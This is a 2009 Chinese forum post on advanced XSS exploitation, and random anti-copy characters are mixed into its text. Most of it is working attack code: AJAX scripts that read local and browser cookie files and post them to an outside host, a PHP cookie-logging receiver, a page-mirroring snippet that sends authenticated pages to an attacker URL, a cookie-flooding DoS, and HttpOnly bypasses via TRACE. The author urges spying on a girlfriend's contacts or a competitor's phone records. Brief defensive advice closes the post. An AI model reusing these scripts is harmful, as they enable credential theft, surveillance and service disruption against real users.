XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
; w1 F4 ~; J, P) `- R9 a
" D. |& c3 R  b+ S2 }XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
3 d. C* C7 y. E" B4 O5 I转帖请保留版权

) }5 n) Q  s" [* ?% I2 @* H
. Y1 f' p' v9 j; L" [
6 E5 ^0 X# k. `* t- d-------------------------------------------前言---------------------------------------------------------
7 R  X# Y6 }' B% S/ J

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
- e0 b% P# e' }& A: Ghttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
5 b" H3 n/ a! Y6 d% {$ yhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
4 X+ J1 z. E! _7 z& [9 ]" j) Yhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
0 O; E: ?7 E4 n+ e

5 o; P! L/ C. k  Q& `6 H  y

+ c4 y/ ?) ^9 C' {1 C如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
& \' w" y. ]5 ]" t; H3 l3 g
' F  b5 p# m) Y; c希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
1 o- S5 m2 n/ P0 g8 J$ o1 I
* K' H  `6 X8 J3 d& N% D如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
+ S* @* C+ s: {+ h
' m/ ?- D+ L6 d5 n9 S  |QQ ZONE,校内网XSS     感染过万QQ ZONE.

- q$ r2 Q" ^# f0 p# Y, U# P1 AOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

8 {( @2 u: n( s$ [* m9 W; P
$ G0 J+ C; h% S4 ~. q4 D) b
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



% j6 H  U$ Y. o: t; J. H如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
2 @! w, S! f& }& a  o3 D8 R; h- A# C复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

% C8 m. E+ s/ a- s$ [! y: ]* a1 v1        通过XSS,我们能实现什么?
  t% R. C* H; F% ]$ e. X! \* Q
# P6 T  K! s; p  x2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
4 T5 h! O8 j* W: C$ W
1 g7 A" V8 R& W) G: n, d4 K; }4        XSS漏洞在输出和输入两个方面怎么才能避免.

0 h  y% @" w9 K3 Y! Z
) K8 s4 w+ ^0 m. B* h! X$ ?6 r7 {& L
( X* f. z8 j4 h7 T1 g: w! d------------------------------------------研究正题----------------------------------------------------------
; P5 [8 ?( t; _8 g
- N* T/ K5 o2 K! [! {2 v

' a! q) b/ E7 R7 T0 K; G/ B通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
& h# J) m" V% }7 b, K) D" l复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
; ~5 U+ |' y6 P8 D* Q2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
* z2 u6 `  z: Z* S- A! u  f# q3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
/ A1 v3 ]) a* j6 s2 O) k4:Http-only可以采用作为COOKIES保护方式之一.

$ x$ e! Z7 O& m1 ~$ J

6 |3 s+ [* j# A" p

0 e& |1 [5 J) B4 M2 {" r(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
( ]/ O; @: P, g' c1 Q+ O

* |7 p, h; U$ G6 O; O7 j; _
5 L/ q0 _2 j  q8 I    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
; P8 X+ B: w0 ?, j3 a1 X


3 ]7 J  G7 y+ [+ ]& O& I2 m    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。


4 Q! {5 x0 \$ r9 [- ?8 G
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
0 T+ t# X- M+ o
    function $(x){return document.getElementById(x)}


7 X0 O5 L$ w# s8 S1 c
1 ~1 z0 x3 R- ?4 u1 o$ ~    function ajax_obj(){

( L7 H! l2 e) y5 p# ]' w8 V9 k    var request = false;
; ~2 t% Q- ~& a
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
7 _: ?* p* D7 s" @) v( N
+ I# y" T! a) N( W    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
3 X' J! i+ t  b2 ~! [* J


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
4 s6 ?2 m7 C* J/ r/ I
    for(var i=0; i<versions.length; i++) {
9 y; D. _* A$ @! S6 ~. o, o; }
    try {
) z6 s  i% A7 I5 S: k5 L! C( a
# T7 C3 ]% ], o5 O8 a+ t3 b    request = new ActiveXObject(versions);
! J1 ^0 V5 d0 S0 u" W
    } catch(e) {}

+ w, w& y) {' U& A0 Q. H3 A# [* V    }

    }

    return request;
3 x- j( T" D& ]/ {1 A1 x
! \3 Y8 r+ K$ n0 b7 R5 ], b- B    }
! i$ V/ k+ o$ Y3 H$ u
    var _x = ajax_obj();
! F0 w/ k2 x# [5 y$ @! D6 {
7 k: [: U6 [8 X  @" B    function _7or3(_m,action,argv){
' S3 s- f/ `6 m. B: J4 d+ [
0 S% Q7 c, O$ X! d& ~" [+ c! |! z    _x.open(_m,action,false);

% J7 R/ k+ k3 S3 }    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
4 M. d1 ]! f8 u' H
    _x.send(argv);

    return _x.responseText;

    }

+ P, z  U% Z) z( R

1 R8 u' b, `0 }+ s8 c+ J    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);

) v) m" k- Z0 y2 W% N* x
6 U- _2 T. ?5 Q- g( }3 _
    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
: ]! @4 q, i5 F  C0 F
    function $(x){return document.getElementById(x)}
4 U* y, j; S' c- k; X; [8 j

: W4 o' {! o3 u0 w* a6 i8 Z
    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {
3 z9 I2 L" Q0 C7 y4 b9 E7 o
    request = new XMLHttpRequest();

2 R5 z7 N# Y) a    } else if(window.ActiveXObject) {
2 ?( q% w- {& x0 Q: S
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
2 x7 P% ^% E8 M* x1 J/ p9 M


) q4 z0 v$ E: W  i0 j4 g) I5 t    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 L# j$ i  c0 B' @2 @2 c, R. u2 F
# v- [5 i, Y& v    for(var i=0; i<versions.length; i++) {
' `9 H. d' j5 J# o1 g6 @
3 Q4 Y9 |+ _  |- F% a    try {
& j' j8 b0 M( t9 ?
    request = new ActiveXObject(versions);

, b! ?# M; d% O; n2 V    } catch(e) {}
3 q6 w6 Q2 d, T; M  A- H
" a7 t7 p0 q4 X' x    }

6 W, R+ p$ h) U) J7 n- F5 G- E% c    }
6 a! b6 q/ U/ K' T4 a9 Y. G5 P9 [
    return request;

1 W; Q5 |6 R! s7 U7 U7 L    }
) }# Y* P9 T. t/ @3 n
; x' ~8 V6 V2 e9 f; a3 b0 P    var _x = ajax_obj();
; f  K0 h1 T( q  F4 O( o& y9 ?+ P) v$ t
  a3 U  X3 e- W. W  ]5 C0 |    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

* _3 M) o( f/ [1 C# L$ `    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
4 ^: k6 I$ Q, y9 w4 G- _1 V
! J+ p; W& U3 y4 K    _x.send(argv);

    return _x.responseText;
  g, n' f8 w  |( _1 p# Z% k
    }



* }# T0 m) T# ^2 }6 P    var txt=_7or3("GET","1/11.txt",null);
/ r; e4 h6 M" v% H1 K
    alert(txt);
/ D$ c' h6 a& M' m- a# b

: [  S1 d3 L2 h  S: X+ m. D: @$ T
    </script>
* k: v) s1 @/ B0 U  b复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”


- F. u! w$ a; m. A
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
5 K* N# \. [4 Y5 n$ U3 ]' C


<?   

  f2 Y# q1 K  b, ?/*  
& }4 }0 M1 E( ~3 \
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

; K+ i' v9 y; [$ T% f" q: `- c     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   

$ @( Y& m- a5 j! v) a' D0 S     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

, Y, U# E5 w3 v7 _4 M( x  a" h3 Oheader("Content-type: application/kxlzx");   

/*  
0 V9 m+ ^3 Q2 U* K( ^
. e( P3 o3 M% a     set header, so just download html file,and open it at local.  

*/  
$ B& d2 |2 }% S+ }9 \' s! A5 S
?>   

. n! `1 w3 F4 ]0 R2 G8 d' e8 M+ F<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

5 y- G+ R# j! x) J2 s! I; R" @- I6 r</form>   

<script>   
6 H/ \, }# U! e! E2 O
( L+ p  P: x( y2 o7 j. A+ m7 ofunction doMyAjax(user)   

{   

5 k- G9 X2 E  x8 ~, yvar time = Math.random();   

. b6 }* V" h3 q+ ]) ~0 _5 y  A/*  
1 r1 n  O; d* Q
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
) k+ q: x  i" O$ }
, P5 ]. V: C5 ]5 ]: w) h5 ^and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

( D% x4 s3 X4 R7 }: g*/  
: i4 I( P9 ~2 |" c  w# R
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
" ]3 u* U! {/ [4 z3 ^6 R5 n% F
/ Z# K' j" S( R! D   
0 ?4 g4 z# u8 k- L$ h' b# R# k2 W
startRequest(strPer);   


; Y2 Y- B- O. u
}   

   

8 s( R) x& e$ Yfunction Enshellcode(txt)   

, R" N* V6 S7 ]{   

+ M; r2 |, ?% Yvar url=new String(txt);   
5 y  V3 V$ e. K5 B
var i=0,l=0,k=0,curl="";   

- Z. [& ]/ ]6 W; h" yl= url.length;   

+ j" ~& n" h' X. O( `for(;i<l;i++){   
  r7 V! e( Z$ k/ K7 [5 @
k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
0 \( y. E- q6 |0 l; X) Y
5 P, e7 {5 u' qif (l%2){curl+="00";}else{curl+="0000";}   
( d! d& a2 _: `6 [
curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
+ g- r5 p- y: `$ Q7 Y1 O0 l* m
6 E: @+ ^8 b- U, V" B% d1 o* R$ b}   
" n/ w: J  ~" m, |" y: u
   

   
) ~8 }0 o# ~6 D( d' ~$ M1 I
' `  ^+ W  D$ @& |5 Wvar xmlHttp;   
/ D6 s% t/ f' F3 }8 n; O0 v
function createXMLHttp(){   

/ G. f  A6 F5 B     if(window.XMLHttpRequest){   

+ S; K0 Z5 J' z: m. ?xmlHttp = new XMLHttpRequest();           

! s3 C3 p2 x; T2 h: g4 p9 d# G     }   

     else if(window.ActiveXObject){   
! j# u( g9 p3 D) V
( g) B# V$ M& `' X8 ?6 vxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

4 i, y+ N( ^# e% c, v9 W     }   

}   

   

function startRequest(doUrl){   

   
; m( @2 D3 ^5 e. l  k) C
( n$ a( F) y: [7 U8 i$ t* O9 Y5 T     createXMLHttp();   



     xmlHttp.onreadystatechange = handleStateChange;   


. K* H' H- _6 Z8 D5 J
     xmlHttp.open("GET", doUrl, true);   

3 V3 \1 f0 _" {  R+ H+ I, a, K% [( P
$ N; ^0 o- J# |* P$ E) [0 y/ l' f# P
' Y0 P. l% t5 h" D4 C     xmlHttp.send(null);   
; [% _2 ?' V% c# P# o/ X7 v

0 s9 E2 A( [- m. i5 z5 Z
$ x* l$ v! U. ?- |. u3 x. w
+ D& p, s% s( W% U* l
, z  S, k5 w: q$ S# b6 K}   
5 B9 c9 K" k7 S  `" E: C
   
& f# U& H/ N! {. G( F
function handleStateChange(){   
+ J7 ]- H/ a( w+ a5 q& _
     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   
+ p" I3 d2 ~& L8 ?2 j6 i1 l
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
0 w# Q2 u2 j; U( ]9 ]7 {
8 z4 D2 s& E" y/ B        
: ?! _' L5 u6 s& f0 A) d' |
     }   

2 h; V  _* g- C; n% l- C& x}   

   
2 }. e, Z2 m5 `" k. f
   
! y5 Z! V' ^5 ~. a
0 h! \2 l+ n% Z; Q- Ffunction framekxlzxPost(text)   

, y& R  S' G2 v6 p1 |{   

     document.getElementById("input").value = Enshellcode(text);   
4 T% ~1 R$ ^, ^- p' L% h6 m
1 K5 U# y$ p2 `5 O3 s  g7 C0 N     document.getElementById("form").submit();   

1 V# V% C2 d5 s; ~" y- S- Q}   

   

! B5 U# a- h4 ?4 W( N, Y" ~$ CdoMyAjax("administrator");   
; ?* c3 x0 F: m
, R+ U0 B3 z! v   

</script>
! U0 x) b0 r  o$ p( H) S2 I1 R7 q复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
( Z1 a# B. w, @# L* {% t) n
var xmlHttp;  

+ a5 E& R2 h9 L. G) {9 Bfunction createXMLHttp(){  

0 Z! _; k% ~7 t     if(window.XMLHttpRequest){  
9 A' H) P  D1 w: C9 W4 R6 r
$ l7 }. V/ T3 o         xmlHttp = new XMLHttpRequest();         
* |: b. F" T- k+ {" Z
" \2 }0 l( t" l# h     }  

) o1 O% E. C5 K, o- h     else if(window.ActiveXObject){  
, Z' N% R0 U) I7 x2 l5 T
3 I" Z! I% e; k         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
. q" D1 K5 H8 ]4 l+ ]' H
" I# A6 |* F2 p  l# c/ {0 o0 u2 H     }  
  Q7 S$ g1 w& G# A5 q" s8 D
}  

- C6 z. c! l% ^" k1 B, u   

function startRequest(doUrl){  

           

, Z) z2 j1 |; j$ x5 Z5 @     createXMLHttp();  
( |; {6 j  `8 `; q0 r
2 |- ?) w6 y6 [      
3 j0 N2 i; b" M
     xmlHttp.onreadystatechange = handleStateChange;  

      

& d) C0 D% I6 [2 D: O% r. {     xmlHttp.open("GET", doUrl, true);  
  L4 C( U  V8 S& O+ E+ Q- m' R
      
9 r/ {* A# h* F$ {2 X- l) d5 J  ?
  u2 p. b$ i1 M0 O3 p8 `     xmlHttp.send(null);  

, I: i, V3 i7 y8 d      

      

}   

$ ~, d6 X! y' g, ^% B' U, I$ H' F   
( u0 ?2 c+ I. X, {2 S- o& f( f' m
function handleStateChange(){  
, o: z# h$ p% f6 Z! `7 o! ?
     if (xmlHttp.readyState == 4 ){  
# x4 N; [$ S4 O" Z( q% H, F
             var strResponse = "";  
# p# o2 ^- k. [" F( z/ P6 F
- A$ m- F/ g) p1 r$ K             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

! d5 {; {- ^: h! ?& U: k! o0 m               

     }  

# ~0 g1 F! M4 ~, @9 U6 P}  
) F$ j' |/ p1 \2 }3 M4 c  f3 {
. U1 }% |0 g# I+ ~   

function doMyAjax(user,file)  
) n+ B$ q% y2 G0 p; `
* T. X. I+ U" ^" |, L{  

         var time = Math.random();  
7 C8 X$ i' Q2 Z) _
& J5 `# J. k" h; w0 O  @           
/ m  }$ A9 b* K" M4 T6 k
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

& Q( M2 F# v2 U& ]/ v3 g# F+ y  t           

% w1 j$ L' y% t1 ?3 {         startRequest(strPer);  
" c! A' j& C# v' N( j% M* g' @# G* E
  N7 n: t& u7 s  t, f6 f      

) O6 {" C8 S$ n8 X}  
9 d8 l; _2 }* ]' |( x) z
5 i2 _, z1 \  R0 T! ]   
  c" t" N- `. N
# m) _+ l' a9 P& s( R2 dfunction framekxlzxPost(text)  
; D" H0 |4 p* n% R9 `% t  h8 \/ j
{  
% J* S3 O1 q; c: R' D
2 o" h2 V% S1 N9 V3 u* G$ x     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
( X9 ?+ W* K  G0 _6 V5 w+ Q
     alert(/ok/);  
% O6 q) j5 t& ?4 ^$ H
}  
' K& O& A( c6 a4 N
   

doMyAjax('administrator','administrator@alibaba[1].txt');  
) P: H1 O! A. L, B2 k1 S+ G) t
   

</script>
$ N* g1 F- U, J6 i
/ Q3 i4 Y3 j, m1 T
/ t( c5 _% s3 _/ R" k
( U2 W- k. M7 N0 r. T- K

& m: I+ o1 T; W1 Y2 H, Fa.php
- x4 H+ e7 `8 m9 W3 M* S  r


<?php      

" g2 _0 z% A3 l. f0 T4 i   
3 `2 a: a& e; u
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

" I( x' \' S% l- c+ g) c, n$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
, }& p5 A- v2 w' ^
  g9 P+ E+ e  ~3 ]  
& o$ G2 b9 [, L2 t( a5 c/ j
9 O2 \9 p% r) m3 x$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
: _) X$ ?5 E! A* u$ z+ S
fwrite($fp,$_GET["cookie"]);      

fclose($fp);   
; ^' m: o# k0 Y& ^
?>
8 |; q3 s/ S+ T( A6 D复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
( t4 O3 x8 ~7 `& q! ~; I
' a' l3 i2 l! H5 X; f或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

# q' Y; |9 n/ U" B4 q1 q代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
3 q3 b( |3 R" j; o/ ^
4 U8 L/ v0 _9 c* J! ]//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

* w0 h  K% B% w, a  nfunction getURL(s) {

var image = new Image();

" B2 g: K0 i$ d! e3 {. K* j# B5 himage.style.width = 0;

- i1 X1 [, _& Q& oimage.style.height = 0;

/ n) J% H, `0 G6 Yimage.src = s;

}

' b* g! @  b* \  b8 ngetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
$ W1 ^5 G9 U; E' l3 m复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
# V. K2 }% \7 k7 Y, _4 X9 }+ P这里引用大风的一段简单代码:<script language="javascript">

" \4 a8 W! U* X8 t& m6 O2 Rvar metastr = "AAAAAAAAAA"; // 10 A

( q+ ?6 \8 e  C7 S# q2 g4 Q+ I7 ^. m% yvar str = "";
) [: O0 `! g; L( w- r8 S5 Y/ b
" @- `. c' x; ^1 _- a/ ~% twhile (str.length < 4000){
+ L5 M' Z# _" }
    str += metastr;
. O+ ?2 \7 q4 B4 [
+ i% e1 U0 u) u2 a% }9 ^}
8 L. ?% b# C7 f- D


- V+ G, Q7 m3 ?+ H; t; Mdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
4 w5 V% V5 |1 K- M9 t/ F# `4 S
</script>

; {9 @# Q; G9 j0 O- y' l' b详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
% V4 A2 R9 C  W" B( T+ n, I复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

0 D, @" a* Y* y9 z  m3 k假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
2 i: o: z' S' c2 d攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
5 k1 F0 |" y9 h


: s8 ^0 k9 W1 V* S0 {

! e: J) e" K% V* p9 l( ~* }2 _
. N' L1 v7 d7 s(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--

* @/ ?! D7 g- e% z  n( Cfunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";
1 e8 J6 q) I% e; C: {2 B8 b
alert(document.cookie);
: E4 H5 q: l5 M6 |7 t/ l
}


, s, {0 e( e' e

- W  s, X& E% E4 O6 n
function httpOnlyCookie() {
1 |) X- l; `6 S/ D
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

" L/ b) A" w1 J* T" ]! ?/ _alert(document.cookie);}
" f% h( r" s# k- H/ d8 [
; w* i4 V5 U3 E7 Y: y' k

//-->

</script>

$ t+ `4 n8 g) ~  g1 N& u
  s6 \$ o7 p, K5 O4 Y8 [
$ V3 t! r% k: E<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
8 r8 ^* I6 E* R% k1 S
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
6 F$ |( P' n2 R; L( F% [$ U复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

2 S) a! e8 W, L4 _* n. N

var request = false;
4 Z8 g: K0 h3 Z+ p& F$ y3 B5 G* U
' u- Z5 t( F, n4 f$ @3 C. N. a; o        if(window.XMLHttpRequest) {
% Z1 h9 M% T& ]( W- p
            request = new XMLHttpRequest();

+ @: V' s1 B9 {" d9 g            if(request.overrideMimeType) {

; A) R, ^8 m: \. r0 q/ g! e                request.overrideMimeType('text/xml');
# O  E9 c( f  P# M6 x
            }
2 J) d9 \3 K7 u4 j
" q. m4 h+ E6 q9 Y  S        } else if(window.ActiveXObject) {
# N) F- y+ \4 `  A& K* q0 e
0 d/ R# V; T7 L: L: Z% W            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- z; @9 f; t" F, Q; a
% G; c  N% |4 u: y3 [) H8 ~            for(var i=0; i<versions.length; i++) {
: }! ~. p9 s2 O. p  @4 T# Y" q
9 ^. Q, ?. Q1 Q! K9 }& q6 R                try {
: \  ]- M% \" P. Q* h0 e& \9 X
                    request = new ActiveXObject(versions);
, S' I" ^0 S* j' o: U# C# @  m
$ ~& R' B. M& ?                } catch(e) {}

$ Q. y; n: u! h            }
; E! s! N' P& D. Q0 a* _
# R4 e. S1 d# d; _* P! c  E        }
7 R" c/ O- ]8 f/ x
( E; Q4 B* O; t$ {xmlHttp=request;
) X2 k5 r7 P; ]( K* a
xmlHttp.open("TRACE","http://www.vul.com",false);
9 }) b" T! e4 P1 f0 X. r! @
xmlHttp.send(null);
; {( L3 B7 \! H0 `
6 N$ I: i0 i/ p' M4 F% R: V  P# NxmlDoc=xmlHttp.responseText;
! N7 w% b8 W6 ~3 L
8 D' J" O* y! K, F& l1 M1 q: Qalert(xmlDoc);
. l" o9 }! i% e" x
</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
  |1 @, R) f' ?$ T5 j* @
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
2 v3 M" B6 k% [! H; Z' K3 M
3 c3 i% o+ R& D/ WXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
9 F2 `+ `0 L( C' N; Y4 s+ ~
1 E+ P/ p3 [  WXmlHttp.send(null);

var resource=xmlHttp.responseText
4 ^0 @0 ]# n, g8 j6 F# ?0 @
' q, t, f6 z( [0 Presource.search(/cookies/);
- ]% d5 k# Z9 D; o
) n+ C0 a, j! ]' P/ m......................

</script>
$ k4 I  {# Q  s
/ f! C6 z& v0 ~8 p" X
) h) h5 S: M8 Y5 U+ p4 g

$ N0 x" H' c. n9 ~( o1 C: u. K
; _5 O; O7 v3 j) L% {如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]

RewriteEngine On
. c: `% W- [. }. i, B5 M) g
RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]

4 x3 i" k! ~+ i7 f; m3 `. V

- n5 g) W4 G; r# m' Z/ m$ C1 B& VSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
6 K( k4 b$ o8 ~9 r
1 Q2 `. V8 Z& ]9 s( p; i& z- z% racl TRACE method TRACE

7 Z, l6 S. h6 x6 b  P0 v: K3 y. W...
$ E! {. f4 v* q4 @3 b2 v) b9 \9 N
* V! X6 g) F+ X1 x0 c$ shttp_access deny TRACE
